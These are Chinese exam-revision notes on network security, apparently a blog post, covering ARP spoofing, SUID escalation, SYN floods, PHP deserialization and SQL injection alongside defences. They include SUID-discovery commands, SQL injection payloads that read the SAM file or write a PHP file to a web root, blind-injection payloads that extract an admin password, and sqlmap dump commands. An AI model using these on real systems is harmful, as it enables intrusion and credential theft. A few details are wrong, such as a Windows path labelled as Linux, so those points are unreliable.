复习的时候顺手总结的,主要用于梳理考点,因为里面的每个姿势点都可以单拿出来写一篇万字解析,大家酌情学习,想要详细了解的话可以去搜完整教程,我也会在中间给到一些比较优质的文章,欢迎大家评论区讨论交流!
一、PKI技术,CA相关姿势
信息安全三/四要素: 机密性,完整性,可用性,身份验证
PKI技术应用场景:
1、HTTPS:其中的S表示SSL加密技术,属于PKI技术。
2、VPN:ipsec vpn(最多见,公司,学校中进行安全的远程办公),pptp vpn,ssl vpn等等,所有的VPN技术都采用了加密技术,属于PKI技术。
常见加密算法:
1、常见对称加密算法:AES,DES,3DES
2、常见非对称加密算法:RSA,DH,ECC
**CA的工作流程:**1、证书申请 2、审核与风险评估 3、证书签发 4、证书使用与管理
CA **的作用:**接收证书申请,证书颁发审批,证书颁发,证书吊销
二、ARP协议相关姿势
ARP 协议属于网络层( 3 层),全称为 Address Resolution Protocol (地址解析协议)
ARP协议的作用 :已知ip地址解析mac地址!(ip--->mac)
ARP缓存表:ARP的缓存表是存储在网络设备或者计算机的内存中的,其用来存放最近的ip地址和mac地址的对应 关系。ARP表项的生存时间都是有限的,起始时间从被创建时开始计算,默认时间是20分钟。
ARP协议工作原理:
1、由局域网中一台主机首先发起通信,发送ARP广播报文,内容是:我的ip地址是xxx,我的mac地址是xxx,谁的ip地址是xxx?对应的mac地址是多少,我有事找你,看到消息请私聊我一下。
2、局域网内所有主机收到该ARP广播报文之后会拆看查看其中的内容,如果目的ip不是自己,则丢弃;如果目的ip是自己,则会接收该ARP报文并给出回应。
3、目标主机回应ARP单播报文给源主机,其中包含了自己的mac地址。
4、源主机将对方的mac地址记录到自己本机的ARP缓存表当中。(简单演示:cmd下利用命令arp -a可以查看到本机的arp缓存,通过ping命令尝试开机后和目标主机第一次通信,就能动态获取到目标的mac地址并存入arp缓存表中。)
当局域网中的主机访问外网时的ARP解析问题分析:
arp 协议的广播报文只会在局域网当中发送,只能完成局域网内主机的 mac 地址获取。当用户去访问百度淘宝等外网 资源时,由于服务器不在局域网中,肯定需要通过边界路由器才能访问到资源,又因为边界路由器作为广播域的终点,该用户主机通过arp 协议生成的访问外网的解析记录就是边界路由器上网关 ip 和 mac 地址的解析记录。
windows系统ARP相关命令:
bash
---arp -a:查看ARP缓存表
---arp -d {ip地址}:清除ARP缓存(如果删除不掉,就用*通配符删除所有arp缓存记录)
---arp -s {ip地址} {物理地址}:添加静态arp条目,不会超时,但是重启会消失
ARP攻击:
通过发送虚假的 ARP 报文(广播或单播)来实现的攻击或欺骗。若虚假报文使用不存在的 mac 地址,实 现ARP 攻击之后的结果为断网,所以又叫 ARP 攻击;若虚假报文使用的是攻击者的 mac 地址,实现 ARP 攻击之后的 结果为攻击者窃听、篡改和控制受害者的通信流量,受害者无感知,所有又叫ARP 欺骗。 ARP 攻击属于中间人攻击 的一种。
ARP 攻击的对象:单个计算机或者整个局域网的所有计算机。
ARP攻击的防御:
1 、静态 ARP 双向绑定:工程师在客户机和网关上都手工配置静态的 ARP 条目,分别指明对方的 ip 地址和 mac 地址,通过该方式可以防止攻击者欺骗客户机和网关,以为静态ARP 条目的优先级一直高于动态 ARP 条目。
2 、使用 ARP 防火墙:该防火墙以软件的形式安装在用户电脑上,开启之后可以将用户本地 arp 缓存表中真实的动态条目全部绑定为静态,并且为了防止网关被欺骗,会不断向网关发送证明当前计算机身份的ARP 数据包(这会造成网关一直被ARP 单播数据包骚扰的问题,企业内网一般不允许使用)。
3 、硬件级 ARP 防御:使用具备 ARP 攻击数据包检测和拦截功能的交换机,针对性地进行 ARP 攻击防御,是主流的防御方式
三、防火墙透明部署姿势
**透明模式:**防火墙的端口设置为2层端口,防火墙工作在二层交换机模式
透明模式特点:透明模式防火墙不会改变网络结构!
**应用场景:**一般透明模式的防火墙部署在内部链路上,来保护整个内部或者局部设备!
四、SUID姿势
**suid是什么:**suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件。
**suid提权:**所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
如何设置suid:
bash
chmod u+s filename #设置suid
chmod u-s filename #去除suid
如何查找suid文件命令:
bash
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
bash
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
附一个关于suid提权的链接: 浅谈linux suid提权 - 先知社区 (aliyun.com)
五、防火墙中的DNAT
六、DMZ区域相关姿势
七、TCP首部的SYN标志位相关姿势
tcp协议: TCP(Transmission Control Protocol,传输控制协议)是面向连接的协议,也就是说,在收发数据前,必须和对方建立可靠的连接。TCP提供全双工服务,即数据可在同一时间双向传输。位于传输层的TCP数据分组称为段(Segment),又译为报文段、数据段或分段。TCP将来自应用层的数据分块并封装成TCP段进行发送。
TCP 段 =TCP 首部 + 应用数据
三次握手图解:
bash
1、ACK:确认序号位,当该位为1时,用于确认发送方的数据接收成功;
2、SYN:同步序列号,TCP建立连接时将该值设置为1;
3、FIN:发送端完成发送任务位,当TCP完成数据传输需要断开时,提出断开连接的一方将这位置1。
bash
第一次握手:主机A通过向主机B发送一个含有同步序列号的标志位的数据段给主机B,向主机B请求建立连
接,通过这个数据段, 主机A告诉主机B两件事:我想要和你通信;你可以用哪个序列号作为起始数据段来回应
我;
第二次握手:主机B收到主机A的请求后,用一个带有确认应答(ACK)和同步序列号(SYN)标志位的数据
段响应主机A,也告诉主机A两件事:我已经收到你的请求了,你可以传输数据了;你要用那个序列号作为起始数
据段来回应我;
第三次握手:主机A收到这个数据段后,再发送一个确认应答,确认已收到主机B的数据段:我已收到回复,
我现在要开始传输实际数据了。这样3次握手就完成了,主机A和主机B就可以传输数据了。
四次挥手图解:
bash
第一次挥手: 当主机A完成数据传输后,将控制位 FIN 置1,提出停止TCP连接的请求 ;
第二次挥手: 主机B收到FIN后对其作出响应,确认这一方向上的TCP连接将关闭,将ACK置1;
第三次挥手: 由B端再提出反方向的关闭请求,将 FIN 置1;
第四次挥手: 主机A对主机B的请求进行确认,将ACK置1,双方向的关闭结束。
意义: 由TCP的三次握手建立连接和四次挥手断开连接可以看出,TCP使用面向连接的通信方式, 大大提高了数据通信的可靠性,使发送数据端和接收端在数据正式传输前就有了交互, 为数据正式传输打下了可靠的基础。
DOS攻击:
DOS 攻击是 Denial of Service Attacks 的简称,即拒绝服务,造成 DOS 的攻击行为被称为 DOS 攻击,其目的是使计算机或网络无法提供正常的服务,这是黑客常用的攻击手段之一。该攻击方式属于一种资源消耗类型的攻击,这些资源包括磁盘空间、内存、cpu 甚至网络带宽。
拒绝服务攻击通常是利用传输协议的漏洞、系统存在的漏洞、服务的漏洞,对目标系统发起大规模的攻击,用超出目标系统处理能力的海量数据包消耗可用系统资源、带宽资源等,或造成程序缓冲区溢出错误,致使其无法处理合法用户的正常请求,无法提供正常服务,最终导致网络服务瘫痪,甚至引起系统死机。
DDOS 攻击( Distributed Denial of Service Attacks ),即分布式拒绝服务攻击。该攻击时 DOS 攻击的升级,实现方式为:操控足够多的傀儡机器(" 肉鸡 " )同时对目标服务器发起 DOS 攻击。由于多台计算机制造的攻击流量十分庞大,其攻击的有效性和危害程度一致很高。
SYN泛洪攻击:
TCP SYN泛洪主要发生在OSI的第四层,其实这个攻击主要利用的就是TCP三次握手机制的缺陷。
A(攻击者)发送TCP SYN,SYN是TCP三次握手中的第一个数据包,而当这个服务器B返回ACK以后,A不再进行确认,那这个连接就处在了一个挂起的状态,也就是半连接的意思,那么服务器B收不到再确认的一个消息,还会重复发送ACK给A。这样一来就会更加浪费服务器的资源。A就对服务器发送非法大量的这种TCP连接,由于每一个都没法完成握手的机制,所以它就会消耗服务器的内存最后可能导致服务器死机,就无法正常工作了。更进一步说,如果这些半连接的握手请求是恶意程序发出,并且持续不断,那么就会导致服务端较长时间内丧失服务功能------这样就形成了DoS攻击。这种攻击方式就称为SYN泛洪攻击。
防御等手段大家可以参考这篇文章,写的还不错: 【网络】SYN泛洪攻击原理及防御---未消化完_syn泛洪攻击实验-CSDN博客
八、TRUNK相关姿势
trunk是什么: 是一种交换机之间的公共链路,它允许多个VLAN的数据通过,华为设备中默认不允许任何VLAN的数据通过。
**trunk的工作机制:**一般用于交换机之间连接的端口,trunk口可以加入多个VLAN,可以接收和发送多个VLAN的Tagged帧。
**trunk的工作场景:**当一条线路需要承载多个VLAN信息时,需要trunk来实现,trunk 技术用在交换机之间互连,使不同 VLAN 通过共享链路与其它交换机中的相同 VLAN 通信。
这里涉及到很多网络相关的概念和实验,这里我放两个好一点的文章供大家参考:
解释清楚Vlan和Trunk的作用_trunk vlan 有什么用-CSDN博客
VLAN及Trunk,重要!看瑞哥如何讲的明明白白!-腾讯云开发者社区-腾讯云 (tencent.com)
九、Linux密码文件姿势
**passwd文件:**位于 /etc/passwd 是Linux系统中的账户文件
bash
[root@localhost ~]# vi /etc/passwd
#查看一下文件内容
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...省略部分输出...
各个字段的含义:
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
**shadow文件:**位于/etc/shadow 存放着Linux系统中的用户密码等重要信息
bash
root:!:17826:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
...太多了,省略一部分...
skx:$1$jP$V1agVNyLfEYwNQLc6IrJt0:17826:0:99999:7:::
lilei:$6$zvt9aWzy$aoZDNPL0.mXFfsJczn.9gZtHZwmFTAFIbe4qHZd48zeB1mIka7jOsrmGvGMBV8LUV.iUdr6bk0hQZyGSOPiTy/:18420:0:99999:7:::
Linux /etc/shadow(影子文件)内容详解_etc shadow-CSDN博客
Linux教程------Linux /etc/passwd内容解释(超详细)_passwd文件详解-CSDN博客
十、超全局变量和漏洞分析
十一、反序列化漏洞与代码审计
PHP序列化: 把对象转化为二进制的字符串 ,使用serialize()
函数
PHP反序列化: 把对象转化的二进制字符串再转化为对象 ,使用unserialize()
函数
PHP为何要序列化和反序列化:
PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题
PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。
如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。
风险:
序列化和反序列化本身没有问题,但是反序列化内容用户可控,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
当传给unserialize()
的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
魔术方法:
魔术方法有很多,给两个链接大家看一看:
PHP 中 16 个魔术方法详解 - wwlww - 博客园 (cnblogs.com)
漏洞防御:
1)签名与认证。
如果序列化的内容没有用户可控参数,仅仅是服务端存储和应用,则可以通过签名认证,来避免应用接受黑客的异常输入。
2)限制序列化与反序列化的类。
增加一层序列化和反序列化接口类。这就相当于允许提供了一个白名单的过滤:只允许某些类可以被反序列化。只要你在反序列化的过程中,避免接受处理任何类型(包括类成员中的接口、泛型等),黑客其实很难控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就很难利用反序列化漏洞了。
3)RASP检测。
(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数(例如:序列化,反序列化)的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截.
反序列化漏洞姿势非常多,这里大家简单了解即可!
十二、php数组操作
数组类型:
1、数值数组:
php
$car = array("Volvo,"BMW","LanBoGinia");#自动分配
php
$cars[0]="Volvo";#人工分配
$cars[1]="BMW";
$cars[2]="Toyota";
2、关联数组 :
php
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
php
$age['Peter']="35";
$age['Ben']="37";
$age['Joe']="43";
php
<?php
$age = array("YWH"=>21,"WL"=>22,"Mother"=>50);
foreach($age as $x=>$x_val)
{
echo "name: ".$x." and age is ".$x_val;
echo '<br>';
}
?>
3、多维数组:包含一个或多个数组的数组
数组函数操作:
重点掌握创建、删除、遍历、访问数组的函数!
PHP 学习总结之数组 - 个人文章 - SegmentFault 思否
PHP数组应用及学习小结_php学习数组心得体会-CSDN博客
十三、php数组出入栈
十四、php函数应用传递扩展
文件读取函数(给两个常用的):
file_get_contents()
函数是最简单、最直接的方式来读取整个文件的内容到一个字符串中。这个函数对于读取较小的文件非常有效,但对于大文件可能会导致内存使用过多。
php
<?php
$filename = 'example.txt';
$content = file_get_contents($filename);
echo $content;
?>
fopen()
函数用于打开文件或 URL,而 fread()
函数则用于从文件指针中读取指定长度的数据。这种方法更灵活,允许你控制读取的字节数,适合读取大文件或需要逐块处理文件内容的场景。
php
<?php
$filename = 'example.txt';
$handle = fopen($filename, "r");
$content = '';
if ($handle) {
while (!feof($handle)) {
$content .= fread($handle, 8192); // 读取8192字节
}
fclose($handle);
}
echo $content;
?>
文件写入函数:
1.fopen()打开或者创建文件:
fopen() 函数也用于创建文件。也许有点混乱,但是在 PHP 中,创建文件所用的函数与打开文件的相同。如果您用 fopen() 打开并不存在的文件,此函数会创建文件,假定文件被打开为写入(w)或增加(a)。下面的例子创建名为 "testfile.txt" 的新文件。此文件将被创建于 PHP 代码所在的相同目录中:
php
$myfile = fopen("testfile.txt", "w")# "w" 为覆盖写,"b" 为追加写
2.fwrite()写入文件内容:
fwrite() 函数用于写入文件。
fwrite() 的第一个参数包含要写入的文件的文件名,第二个参数是被写的字符串。
下面的例子把姓名写入名为 "newfile.txt" 的新文件中:
php
<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "Bill Gates\n";
fwrite($myfile, $txt);
$txt = "Steve Jobs\n";
fwrite($myfile, $txt);
fclose($myfile);
?>
十五、python正则表达式姿势
正则表达式通常用于写爬虫文件,这里重点掌握re模块中的一些正则匹配方法,这里简单介绍一下这些方法具体参数太多了,大家自行去了解:
Python 正则表达式 re模块 最全面超详细总结-CSDN博客
1.re.findall()
在字符串中找到正则表达式所匹配的所有子串,并返回一个列表,如果没有找到匹配的,则返回空列表。注意**:** match 和 search 是匹配一次 findall 匹配所有。
python
import re
ret = re.findall(r"\d+", "python = 9999, c = 7890, c++ = 12345")
print(ret)
['9999', '7890', '12345']
2.re.match()
python
>>> import re
>>> result = re.match("itcast","itcast.cn")
>>> result.group()
'itcast'
3.re.search()
re.search 扫描整个字符串并返回第一个成功的匹配,如果没有匹配,就返回一个 None。
re.match与re.search的区别:re.match只匹配字符串的开始,如果字符串开始不符合正则表达式,则匹配失败,函数返回None;而re.search匹配整个字符串,直到找到一个匹配.
python
import re
ret = re.search(r"\d+", "阅读次数为9999")
print(ret.group())
十六、SQL注入姿势
sql注入简介:
SQL注入漏洞是Web层面最高位的漏洞之一。所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库。
漏洞形成原理,条件:
程序开发过程中,由于不重视书写规范,对sql关键字未进行过滤,导致客户端可以通过POST或GET提交sql语句到服务器端正常运行。SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
下面我们来说一下sql注入原理,以使读者对sql注入攻击有一个感性的认识,至于其他攻击,原理是一致的。
SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
防御方式:
SQL注入攻击对的问题最终归于有用户可以控制输入,因此可以通过约束用户的输入进行防范SQL注入漏洞。
(1)采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
使用好处:代码的可读性和可维护性;PreparedStatement尽最大可能提高性能;最重要的一点是极大地提高了安全性。
原理:sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,准备,因此也就避免了sql注入问题。
(2)加强对用户输入进行验证和过滤
SQL注入攻击前,入侵者通过修改参数提交and等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。
(3)参数传值
程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量,这样可以最大程度防范SQL注入攻击。
(4)使用安全参数
SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击,从而确保系统的安全性。
(5)普通用户与系统管理员用户的权限要有严格的区分
如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
(6)分级管理
对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。等等。
总的来说有以下几点:
(1)永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对特殊字符和符号进行转换等。
(2)永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
(3)永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
(4)不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。
(5)应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
sql文件读写:
首先我们来了解一个参数 secure_file_priv ,这个参数会影响我们的文件读写操作:
python
secure_file_priv为NULL,表示禁止限制操作
secure_file_priv为某一目录,表示只能操作该目录下的文件
secure_file_priv为空,表示不对读写文件进行限制
文件读取:
使用load_file() 函数读取文件,需要使用绝对路径。
不同系统的绝对路径示意:
windows路径:C:\\Windows\\System32\\config\\SAM
Linux路径:C:/Windows/System32/config/SAM
payload:
sql
?id=1 union select 1,load_file('C:\\Windows\\System32\\config\\SAM'),
文件写入:
使用 into_outfile'路径' 写入数据到pc的指定目录下。
payload:
sql
?id=1 union select 1,'<?php phpinfo();?>',3 into_outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php'
十七、站库分离姿势
为什么站库分离:
一个站点只开放80端口,明明这个站点的数据库用的是mysql,但是只有80端口开放,可能是进行了站库分离操作,也就是数据库和web服务器在两个地方放着,这样可以在一定程度上保证安全性。站库分离其实就是管理员将网站程序和数据库分别放在了不同的内网服务器上,这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据。
这种情况大多出现在内网环境,不过也有少部分管理员会使用公网数据库,如:自建公网数据库、Amazon/阿里/腾讯/华为RDS云数据库等,并设置允许连接该数据库的白名单IP地址。
站库分离的网络配置:
站库分离网站的一些渗透思路,大家想了解的可以看看这些文章:
Web服务搭建&站库分离&路由访问-腾讯云开发者社区-腾讯云 (tencent.com)
站库分离渗透思路总结(转载) - anoldcat - 博客园 (cnblogs.com)
十八、盲注姿势
什么是盲注:
在传统的SQL注入攻击中,攻击者可以直接获取到应用程序返回的数据库错误信息或查询结果,从而了解到他们所注入的恶意SQL语句是否生效。 但在盲注(Blind)注入中,攻击者无法直接获取到这些信息,因此称之为"盲注"。简单来说就是页面不会给我们回显信息,也不会显示详细的报错信息!
在盲注攻击中,攻击者通过构造恶意的注入语句,将其输入传递给应用程序处理。然后,攻击者观察应用程序的响应或其他可见的行为来确定注入是否成功,并进一步探测和利用数据库中的数据。
盲注的分类:
1、真假盲注又叫基于布尔的盲注,简单来说就是当我们构造payload进行攻击时,当我们的逻辑为真和逻辑为假时,页面给我们的反馈不同,这样我们就可以基于这一点对数据库进行爆破,所以其实盲注的本质就是爆破!
常用payload:
sql
id=1 AND (SELECT COUNT(*) FROM users) > 0
id=1 AND SUBSTRING((SELECT version()), 1, 1) = '5'
id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97
id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 10
id=1 AND LENGTH((SELECT database())) = 6
2、时间盲注,跟上面的不同,这种情况适用于页面完全没有回显的情况,我们可以通过睡眠函数让页面延迟响应,从而判断我们对数据库信息的猜解是真还是假,从而到达爆破的目的!
常用payload:
sql
id=1; IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), NULL)
id=1; IF((SELECT ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1))) = 97, BENCHMARK(10000000, MD5('a')), NULL)
id=1; IF(EXISTS(SELECT * FROM information_schema.tables WHERE table_schema='public' AND table_name='users'), BENCHMARK(5000000, SHA1('a')), NULL)
id=1; IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 5, SLEEP(2), NULL)
这里涉及东西很多,建议大家读读这篇文章:[网络安全]SQL盲注?这一篇就够了 - 秋说 - 博客园 (cnblogs.com)
盲注的特点:
盲注的主要特点就是页面基本无回显,需要我们通过脚本来进行注入,通常我们使用sqlmap一把梭,或者通过自写的注入脚本来进行!
十九、sqlmap姿势
GET型传参:
bash
基本的SQL注入检测,可以检测注入点以及可注入类型
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch
---batch(不再询问,默认执行,如果不加这个参数中途会弹出很多问题妨碍注入)
查看所有数据库 --dbs
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --dbs
查看当前使用的数据库 --current-db
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --current-db
查看表名
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" -D security --tables --batch
-D 指定数据库 ---tables 列举所有表
查看表中的字段
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" -D security -T users --columns --batch
-T 指定表 ---columns 列举所有列名
查看字段中的数据
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C password --dump
-C 指定列名 ---dump 列举当前列所有内容
查询多个字段 -C 后面可以指定多个参数来查询多个字段,可以用双引号包围,不加也不会报错
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C id,password --dump
POST型传参:
方式一:通过bp抓包,将post包抓下来以后保存起来, 通过-r参数进行检测,这是最常用也是最简单的方式!
bash
sqlmap -r "/root/less-15.txt" --batch
方式二:通过--data 传入传参点进行检测!
bash
sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1"
还有就是一些sqlmap的参数,有很多,大家可以先记一下上面那些常用的,想多了解的这里给一篇文章:【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新_sqlmap使用教程-CSDN博客